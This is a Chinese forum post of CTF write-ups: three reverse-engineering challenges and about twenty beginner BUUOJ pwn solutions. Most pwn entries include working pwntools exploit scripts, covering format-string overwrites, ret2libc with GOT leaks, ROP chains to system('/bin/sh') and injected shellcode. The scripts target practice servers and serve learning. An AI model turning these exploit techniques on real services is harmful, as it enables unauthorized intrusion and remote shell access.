BUUOJ SimpleStuff/Unknown/year3000 & pwn入门栈溢出20题
最近在入门pwn, re每天只做一道, 现在做的都是只有5解以下的题了...但是题目质量反倒有所下降, 可能是大家学到这儿就不头铁刷题了吧..有两道100分的题卡了我一周了, 虚拟机分析好了但是死活跑不对..但是也不想放弃, 每天看两下吧.
只能说现在遇到的题的wp都完全不足以让人看懂啊, 核心细节都不说, 只概略的说一下过程....适合验证真实性不适合学习
废话就到这儿
文末附了入门pwn栈溢出20题, 因为太简单就不开帖子了, 但是我觉得这种一连串的题解还是会方便入门的同学的
---
## simplestuff
> 最近抓到了一段简单恶意代码和其发出的流量,你能破解他吗?
!(https://tianyu.xin/usr/uploads/2022/04/4059616472.png)
流量包全是TCP流量, 看不出来什么, 从二进制开始分析
!(https://tianyu.xin/usr/uploads/2022/04/3556669916.png)
字符串里的crontab和flag引起了我的注意, 跟一跟
!(https://tianyu.xin/usr/uploads/2022/04/3408965462.png)
在引用了flag的函数里发现了这个东西, 把TCP包有用的部分截下来XOR一下
!(https://tianyu.xin/usr/uploads/2022/04/1200349943.png)
得到这个, 不过后半部分是乱码, 看看后半部分. 这个文件里有多处InterlockedCompareExchange, 让我怀疑是不是还有其他线程, 尝试动调一下吧
惊讶的发现源文件没了, 只留下了一个0字节的文件, 但是crontab里没有新增项...疑惑啊..再来一次
!(https://tianyu.xin/usr/uploads/2022/04/2128171311.png)
注意main要进到这个函数
!(https://tianyu.xin/usr/uploads/2022/04/20592169.png)
需要是五秒整倍左右, 可以动调改数, 直接进行一个0的改
!(https://tianyu.xin/usr/uploads/2022/04/3213930703.png)
这一串函数会设定一些值, 先忽略
!(https://tianyu.xin/usr/uploads/2022/04/4262114196.png)
sample是我自己写的, 这说明这一段确实是读的flag
!(https://tianyu.xin/usr/uploads/2022/04/267692511.png)
说明中间还是改动了, 但是我没跟到
!(https://tianyu.xin/usr/uploads/2022/04/2985016358.png)
但是从PseudoCode上看异或结束直接去Label8了, 中间不应该有变动. 无妨, 我们再来一次
我自己的sample正常异或结果应该是这个
> 3e 06 16 11 0b 01 65 46 18 0e 47 1f 16 09 19 03 13 00 10 3a 0f 2c 16 41 19 1f 4c 01 3d 07 1c 11 2b 14
我们看看哪里开始不一样了
哦原来dbapp后面还应该有个\0.....
!(https://tianyu.xin/usr/uploads/2022/04/1296044419.png)
## unknown
!(https://tianyu.xin/usr/uploads/2022/04/1842594487.png)
32位WinPE
!(https://tianyu.xin/usr/uploads/2022/04/171250568.png)
一个参数, 要过401020的检测
!(https://tianyu.xin/usr/uploads/2022/04/4102988025.png)
这里v20 Xor 定值需要是 v6, v6是过2760的参数
!(https://tianyu.xin/usr/uploads/2022/04/4145155030.png)
感觉有点像37进制读入 改名atoi_b37, 注意到这个程序基本都是双字节char, 那些WORD来WORD去的都写成uint16就行 (后来脑瓜一闪反应过来这不是哈希么..)
!(https://tianyu.xin/usr/uploads/2022/04/3390521728.png)
要求0x1B个v13里的内容等于v11, v11在这
!(https://tianyu.xin/usr/uploads/2022/04/3895351212.png)
长104个Byte应该是
!(https://tianyu.xin/usr/uploads/2022/04/2916970150.png)
注意cmptable经过了一个thiscall函数改过, 有个长256的表, 这个换表操作让我感觉是现成的加密算法, 是不是有点像..RC4?同时这个表也输入相关, 但是好像只和输入长度有关
!(https://tianyu.xin/usr/uploads/2022/04/4169355953.png)
v16-v4大概就是一个输入长度相关量, 另外这里也和v20有点关系, 结合循环变量0x1B, 我觉得基本能推测输入长度是27, 每次取出1位放到v23, v23其他的值都是固定/可测的, 这个东西被atoi_b37之后要和cmptable相同. 我们试一下len=27的cmptable
```c
unsigned char cmptable[] =
{
0xE9, 0x67, 0xFD, 0xB2,
....
0xF5, 0xEA, 0x6D, 0xE1
};
```
而v23则是
input, 0x60+j, 0x46, 0x4C, 0x41, 0x52, 0x45, 0x20, 0x4F, 0x6E, 0x21
后面量是上面能找得到的, 就是FLARE On!
这样四位一比长度应该是26的, 直接爆破一下
```c
unsigned char cmptable[] =
{
0x1F, 0xD0, 0x24, 0x4C, 0xEA, 0x1D, 0xDA, 0xAE, 0x57, 0x05,
0x2B, 0x4E, 0xAE, 0x68, 0xC7, 0x4D, 0xF0, 0x6A, 0x42, 0x79,
0x2B, 0x80, 0xC4, 0x39, 0xD9, 0x8C, 0xE2, 0xCD, 0x32, 0x5E,
0x77, 0x23, 0x54, 0xC4, 0x31, 0x36, 0x2E, 0x8D, 0x50, 0xDA,
0x48, 0x79, 0x43, 0xE9, 0xA6, 0x11, 0xE2, 0x56, 0xB0, 0x6A,
0x05, 0xE6, 0xF4, 0x8F, 0x1C, 0xC2, 0x29, 0x8B, 0x95, 0x32,
0xF9, 0x88, 0x66, 0x80, 0x72, 0x2F, 0xF3, 0xCE, 0x56, 0x24,
0xBC, 0xE4, 0x72, 0x6B, 0xFB, 0x52, 0xBF, 0x20, 0x06, 0xCC,
0x8A, 0xEB, 0x00, 0xA9, 0xC6, 0x90, 0x39, 0xAC, 0x4D, 0x50,
0xAC, 0xD2, 0x8B, 0x5C, 0xF9, 0xFA, 0x66, 0x38, 0xAD, 0x12,
0x47, 0x6B, 0xA8, 0x31
};
#include <cstdio>
#include <cstdint>
int sum(char s) {
int res = 0;
for(int i = 0; i < 11; i ++ ) {
res = s + 37*res;
}
return res;
}
int main() {
int *p = (int *)cmptable;
char s = "a`FLARE On!";
// (0x60+i) * 37 ^ 9 + ch * 37 ^ 10;
for(int i = 0; i < 26; i ++ ) {
for(int j = 0; j < 0xFF; j ++ ) {
s = j;
int tmp = sum(s);
if(tmp == p) {
printf("0x%x, ", tmp);
break;
}
}
s ++;
}
}
```
爆破无果, 那只能是cmptable还有问题, 我们回头看发现这个table竟然和文件名本身有关?? 这个很不美啊.. 我们要尝试找到真正的文件名, 看起来unknown并不是
!(https://tianyu.xin/usr/uploads/2022/04/2318602210.png)
MS编译器往往会有这么一个东西
重新提重新爆
!(https://tianyu.xin/usr/uploads/2022/04/1024251982.png)
## year3000
!(https://tianyu.xin/usr/uploads/2022/04/798148408.png)
一共3000个bin
!(https://tianyu.xin/usr/uploads/2022/04/3401262331.png)
前43个都要是't', 后面4位和unk_2008相同
!(https://tianyu.xin/usr/uploads/2022/04/1812643451.png)
这是bin1的
bin2就变成了64位??离谱, 这个是前83位是'N', 后面8位和固定值相同
3又回到了32位, 84位的'c', 和4位的固定值, 此外固定值不同.
这样我觉得基本可以认为有两种文件, 32位的要比4位, 64位的要比8位, 前面的验证.
```python
import subprocess
from pwn import *
def parse32(elf) :
cnt = elf
ch = elf
nonce = elf
# print(cnt, ch, nonce)
return (chr(ch) * cnt).encode(encoding='utf-8') + nonce
def parse64(elf) :
cnt = elf
ch = elf
nonce = elf
# print(cnt, ch, nonce)
return (chr(ch) * cnt).encode(encoding='utf-8') + nonce
for i in range(1, 3001) :
file_name = "./" + str(i) + ".bin"
with open(file_name, "rb") as f:
content = f.read()
if content == 1 :
payload = parse32(content)
elif content == 2 :
payload = parse64(content)
p = process(file_name)
p.sendline(payload)
s = p.recvline()
if s != b'Well done\n' :
print('Error', i)
p.close()
```
脚本倒是写完了, 也全well done了..可是..Flag呢? 长度为3000的flag也不太现实, 难道是把这些二进制串加一起有个新的ELF?, 不妨试试
!(https://tianyu.xin/usr/uploads/2022/04/1613208768.png)
显然, 这东西和ELF没什么关系, 换个思路, 我们把前面的可见字符加一起看看
!(https://tianyu.xin/usr/uploads/2022/04/1239789308.png)
看着就像个Base64
!(https://tianyu.xin/usr/uploads/2022/04/3184611740.png)
然而解了Base64也没什么用, 而且这Base64里竟然一个数字都没有..不是很靠谱啊
就这么来到了谜语时间么...
苦解谜语10分钟无果, 果断找wp
尼玛, 靶机题, 本地打通, 此题做完
---
以下是pwn部分
边学边做, 大部分参考了别人的WP, 不明白的地方会尽力弄明白写在这里
## [第五空间2019 决赛]PWN5
!(https://tianyu.xin/usr/uploads/2022/04/1769745105.png)
passwd要和urandom里面一样, 读入有限制, 没有漏洞点, printf处有一个明显的格式化字符串漏洞, 尝试用该漏洞泄露目标内容
!(https://tianyu.xin/usr/uploads/2022/04/1729078494.png)
没有PIE, 我们尝试用格式化字符串的%n来覆盖目标bss段
`printf("str%n", &addr);` 会把str的长度写在addr上 , 这时候栈上第一个参数应该是addr, 第二个参数则是字符串str%n,
!(https://tianyu.xin/usr/uploads/2022/04/2467881418.png)
输入AAAA%x%x...\n后可以发现AAAA在main栈的第十个, 我们把AAAA变成要用的地址, printf拿进去的还是这个第十个, 那如果参数是%10$n的话就会自动调整到第十个参数, 然后把前面输入过的4个byte的len写进去. 之前看到这儿的时候疑惑了无数次并决定放弃pwn)))这是真的))).
payload:p32(0x804c044)+b"%10$n"
```python
>>> payload = p32(0x804c044)+b"%10$n"
>>> p.sendline(payload)
>>> p.sendline('4')
>>> p.interactive()
```
此外看wp还有一种写atoi的got进而控制流程的方法, 学习了, 过程比较清晰就不另做记录了
```python
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.sendline(payload)
p.sendline('/bin/sh\x00')
```
## ciscn_2019_n_8
!(https://tianyu.xin/usr/uploads/2022/04/2076240848.png)
errr..这不比刚才的,简单多了?第14个Qword是17即可.
但是我信心满满的把payload`poc = p64(17) * 20`打进去之后
!(https://tianyu.xin/usr/uploads/2022/04/105861795.png)
??? 你要的难道不是17么?
!(https://tianyu.xin/usr/uploads/2022/04/2959983045.png)
!(https://tianyu.xin/usr/uploads/2022/04/1937528292.png)
咱毕竟是个学逆向的啊, 敏锐的我意识到了这个QWORD有诈啊, 咋都是e打头的, 晕, 32位的是吧, 改一下就好了
`poc = b'A' * 4 * 13 + p32(17)`
!(https://tianyu.xin/usr/uploads/2022/04/1873378557.png)
## jarvisoj_level2
!(https://tianyu.xin/usr/uploads/2022/04/1558659773.png)
NX, 没有Canary, 直接栈溢出
!(https://tianyu.xin/usr/uploads/2022/04/3502320626.png)
有system, 给它压个/bin/sh即可, 题里都给好了
payload里分别是0x88的占位, 0x4的bp覆盖, 0x4的sys地址, 0x4的返回地址, 0x4的binsh参数
## babyrop
!(https://tianyu.xin/usr/uploads/2022/04/968459141.png)
看上去传进来的是char, 但是read实际上进去的应该是个size_t, 能把这个位置构造成255, 我们就有了20个字节左右的空间利用, 先看看这地方怎么构造成255
!(https://tianyu.xin/usr/uploads/2022/04/3695688230.png)
必须和一个urandom相等, 不然直接exit(0)了, 需要注意的是这程序还有个60s的超时.
这个strncmp本身可以用\x00绕, 因为前面v1会是0.
bypass这里之后, 就可以构造payload了, 首先泄露libc基址, 这里选择泄露read的got
```python
from pwn import *
# r = process("./4")
r = remote('node4.buuoj.cn', 28104)
elf = ELF('./4')
libc = ELF('./libc-2.23.so')
write_plt = elf.plt['write']
read_got = elf.got['read']
read_plt = elf.plt['read']
main_addr = 0x8048825
bypass1 = b'\x00' * 7 + b'\xff'
r.sendline(bypass1)
r.recvuntil('Correct\n')
payload = b'A' * 0xEB
payload += p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(8)
r.sendline(payload)
read_addr = u32(r.recv(4))
log.success('read_addr : ' + hex(read_addr))
base_addr = read_addr - libc.symbols['read']
sys_addr = libc.symbols['system'] + base_addr
bin_sh_addr = next(libc.search(b'/bin/sh')) + base_addr
r.sendline(bypass1)
r.recvuntil('Correct\n')
payload = payload = b'A' * 0xEB
payload += p32(sys_addr) + p32(0) + p32(bin_sh_addr)
r.sendline(payload)
r.interactive()
```
## bjdctf_2020_babystack
!(https://tianyu.xin/usr/uploads/2022/04/1990026978.png)
自定义长度, 直接溢出
!(https://tianyu.xin/usr/uploads/2022/04/3648316316.png)
给了system直接
`payload = 0x18 * b'A' + p64(tar)`
## get_started_3dsctf_2016
!(https://tianyu.xin/usr/uploads/2022/04/1813264339.png)
!(https://tianyu.xin/usr/uploads/2022/04/1254601652.png)
!(https://tianyu.xin/usr/uploads/2022/04/884054576.png)
打了一会死活打不通..
`payload = 0x3B * b'A' + p32(tar) + p32(0) + p32(814536271) + p32(425138641)`
直接翻题解
!(https://tianyu.xin/usr/uploads/2022/04/2219306704.png)
这里有问题, 正常的程序都是先push ebp, 然后move ebp, esp, 不push的话我们就不用盖ebp了, 要少盖四个字节, 大意了, 动调一下也可以的.
然后是第二个坑, 这题好多网上的wp都说要改mprotect...其实没看出来, 只不过没有设置缓冲区, 如果异常退出的话, 缓冲区的东西不会正常输出出来, 所以我们要让它正常退出
直接把执行完getflag的返回地址扔到exit即可
!(https://tianyu.xin/usr/uploads/2022/04/3847281176.png)
---
学长告诉我这题很多利用点, 让我研究一下, 在拿了flag之后还可以打一打
## ciscn_2019_en_2
菜单题, 有encrypt和decrypt功能, 只有encrypt能进
!(https://tianyu.xin/usr/uploads/2022/04/1033299017.png)
有gets, 无canary, 啥也没有, getshell题
!(https://tianyu.xin/usr/uploads/2022/04/4169841782.png)
!(https://tianyu.xin/usr/uploads/2022/04/2135971538.png)
```python
from pwn import *
from LibcSearcher import *
# context.log_level = "debug"
# r = process("./7")
r = remote('node4.buuoj.cn', 28140)
elf = ELF("./7")
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']
puts_got = elf.got['puts']
pop_rdi = 0x400c83
ret = 0x4006b9
r.recvuntil('ce!\n')
r.sendline('1')
r.recvuntil('ted\n')
payload = b'\x00' * 0x58 + \
p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
r.recvline()
r.recvline()
puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8, b'\0'))
log.info("puts_addr : " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
r.recvuntil('ce!\n')
r.sendline('1')
r.recvuntil('ted\n')
payload = b'\x00' * 0x58 + \
p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
r.sendline(payload)
r.interactive()
```
非常普通的64位ret2libc,先泄露libc基址再打到system, 唯一值得关注的是输入会被异或, 要么用\x00截断, 要么就要先把payload异或了
## baby_rop
!(https://tianyu.xin/usr/uploads/2022/04/1663851116.png)
没有canary, 有system
!(https://tianyu.xin/usr/uploads/2022/04/3029975156.png)
!(https://tianyu.xin/usr/uploads/2022/04/2042652859.png)
那就不动脑子了吧, 没设置缓冲区, 就不recv了
```python
from pwn import *
# context.log_level = "debug"
# r = process("./8")
r = remote('node4.buuoj.cn', 28819)
pop_rdi = 0x400683
bin_sh = 0x601048
sys_addr = 0x400490
# r.recvuntil("name? \"")
payload = b'A' * 0x18 + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
r.sendline(payload)
r.interactive()
```
## jarvisoj_level2_x64
有system有binsh
```python
payload = b'A' * 0x88 + \
p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
```
## not_the_same_3dsctf_2016
!(https://tianyu.xin/usr/uploads/2022/04/88229299.png)
那就不getshell了, 让它读进来然后再把地址推给puts就好, 注意这题也没有动ebp
```python
payload = b'A' * 0x2D + \
p32(secret_addr) + p32(write_plt) + p32(exit_addr) + p32(1) + p32(f14g_addr) + p32(0x50)
```
## ciscn_2019_n_5
!(https://tianyu.xin/usr/uploads/2022/04/388141014.png)
bss可控制, 栈溢出明显, ret2libc
!(https://tianyu.xin/usr/uploads/2022/04/689327750.png)
这可真是..啥也没有啊, 直接写shellcode都能跑吧, 练习一下布置shellcode
```python
from pwn import *
# from LibcSearcher import *
# context.terminal = '/bin/bash'
context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
# context.log_level = "debug"
# elf = ELF('')
r = remote('node4.buuoj.cn', 27600)
# r = process("./elf1")
name_addr = 0x601080
r.recvuntil('name\n')
r.sendline(asm(shellcraft.sh()))
r.recvuntil('me?\n')
payload = b'A' * 0x28 + p64(name_addr)
r.sendline(payload)
r.interactive()
```
## others_shellcode
!(https://tianyu.xin/usr/uploads/2022/04/1637577564.png)
?什么玩意, nc获得shell...
## ciscn_2019_ne_5
菜单题, 两个scanf都做了限定,
!(https://tianyu.xin/usr/uploads/2022/04/3321518302.png)
这里, src最长128, 但是dst只有64, 足够长了, 泄露libc回main, 再ret2libc
!(https://tianyu.xin/usr/uploads/2022/04/2485487392.png)
泄露puts地址的时候发现恰好payload里有0x20, 但是scanf读不进来, 换函数试试, 发现有system, 我们尝试直接找个data段写
救命...scanf里也有\x00..
最后被指点:这里面有个"sh"字符串, 和binsh一样用.. 但是strings和IDA都不识别这么短的字符串..
```python
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
elf = ELF('./elf3')
sys_addr = elf.sym['system']
r = remote('node4.buuoj.cn', 29750)
# r = process("./elf3")
sh_addr = 0x080482ea
def sendLog(payload) :
r.recvuntil('password:')
r.sendline("administrator")
r.recvuntil("0.Exit\n:")
r.sendline('1')
r.sendlineafter('info:', payload)
def transLog() :
r.recvuntil("0.Exit\n:")
r.sendline('4')
sendLog(b'A' * 0x4C + p32(sys_addr) + p32(0) + p32(sh_addr))
transLog()
r.interactive()
```
## 铁人三项(第五赛区)_2018_rop
!(https://tianyu.xin/usr/uploads/2022/04/1587770432.png)
No Canary, 栈溢出, ret2libc, 32位
```python
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
elf = ELF('./elf5')
main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
r = remote('node4.buuoj.cn',25135)
# r = process("./elf5")
payload = b'A' * 0x8C + p32(write_plt) + p32(main_addr) + \
p32(1) + p32(write_got) + p32(8)
r.sendline(payload)
write_addr = u32(r.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'A' * 0x8C + p32(sys_addr) + p32(0) + p32(binsh_addr)
r.sendline(payload)
r.interactive()
```
## bjdctf_2020_babyrop
64位rop
!(https://tianyu.xin/usr/uploads/2022/04/3780465399.png)
这..实在是没啥可说的
```python
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
# r = process("./elf6")
r = remote('node4.buuoj.cn', 29721)
elf = ELF("./elf6")
puts_plt = elf.plt['puts']
main_addr = elf.symbols['vuln']
puts_got = elf.got['puts']
pop_rdi = 0x400733
ret = 0x4004c9
r.recvuntil('story!\n')
payload = b'A' * 0x28 + \
p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8, b'\0'))
log.info("puts_addr : " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'A' * 0x28 + \
p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
r.sendline(payload)
r.interactive()
```
!(https://tianyu.xin/usr/uploads/2022/04/4075239295.png)
这过于明显, 我们直接传进去一个负数就行了
!(E:\ctf\wp\BUU_入门pwn合集2.assets\image-20220411140540180.png)
有现成的后门, 直接ROP
```python
from pwn import *
# from LibcSearcher import *
context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
# elf = ELF('')
r = remote('node4.buuoj.cn', 29042)
sys_addr = 0x400726
# r = process("./elf7")
r.recvuntil('name:\n')
r.sendline('-1')
r.recvline()
payload = b'A' * 0x18 + p64(sys_addr)
r.sendline(payload)
r.interactive()
```
## jarvisoj_fm
!(E:\ctf\wp\BUU_入门pwn合集2.assets\image-20220411141655928.png)
有Canary, 需要把一个bss段的值从3改成4, 格式串漏洞. 两步, 一步获取输入字符串在栈上位置, 一步%n改数
!(E:\ctf\wp\BUU_入门pwn合集2.assets\image-20220411142450278.png)
第11个参数, x=4的话正好前面写地址后面写%11$n
```python
from pwn import *
# from LibcSearcher import *
context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
# elf = ELF('')
r = remote('node4.buuoj.cn', 28983)
# r = process("./elf8")
x_addr = 0x804A02C
payload = p32(x_addr) + b'%11$n'
r.sendline(payload)
r.interactive()
```
## pwn2_sctf_2016
!(E:\ctf\wp\BUU_入门pwn合集2.assets\image-20220411142908663.png)
老样子, 自己写的这个get第二个参数是unsigned的, 我们直接扔个负数进去就可以了
给了一个int 0x80, 但是不如直接ret2libc一把梭, 只能利用printf
```python
from pwn import *
from LibcSearcher import *
context(arch = 'i386', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
elf = ELF('./elf9')
r = remote('node4.buuoj.cn', 27333)
main_addr = elf.sym['vuln']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
fmt_addr = 0x80486F8
# r = process("./elf9")
r.recvuntil('read? ')
r.sendline('-1')
payload = b'A' * 0x30 + \
p32(printf_plt) + p32(main_addr) + p32(fmt_addr) + p32(printf_got)
r.sendline(payload)
# r.recvuntil('data!\n')
r.recvuntil('You said: ')
r.recvuntil('You said: ')
printf_addr = u32(r.recv(4))
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
sys_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
r.sendline('-1')
# log.info(sys_addr)
# log.info(binsh_addr)
payload = b'A' * 0x30 + \
p32(sys_addr) + p32(main_addr) + p32(binsh_addr)
r.sendline(payload)
r.interactive()
```
本地打通了, 注意最后不能异常退出(exit(-1)也是程序正常退出), 不然会在buf里打不出来
远程不知道为什么就是打不通, 破案了, libcsercher找不到, 用buu给的libc就好了 师傅哪天分析一下Welcome to CTF呗,这题异常绕过搞不明白,官方wp过于简洁
反正不是你们出的题吗{:1_918:} WuJ1n9 发表于 2022-4-13 14:11
师傅哪天分析一下Welcome to CTF呗,这题异常绕过搞不明白,官方wp过于简洁
反正不是你们出的 ...
出这题的时候我还不是WM的队员.... Y1rannn 发表于 2022-4-13 15:23
出这题的时候我还不是WM的队员....
那师傅有空分析分析呗,期待出个详细点的WP
毕竟你们队内的题,肯定资源还是更多些 牛666666 向楼主学习 @Y1rannn 后面图片贴的有问题,需要处理一下。 Hmily 发表于 2022-4-27 16:38
@Y1rannn 后面图片贴的有问题,需要处理一下。
收到, 最近被公司抓去干活, 一直没上论坛, 555 jarvisoj_level2_x64这道题目,ubuntu16成功复现,其他稍微高一点的版本无法复现,我靶场环境是rocky8 为什么会这样。。{:301_972:}
页:
[1]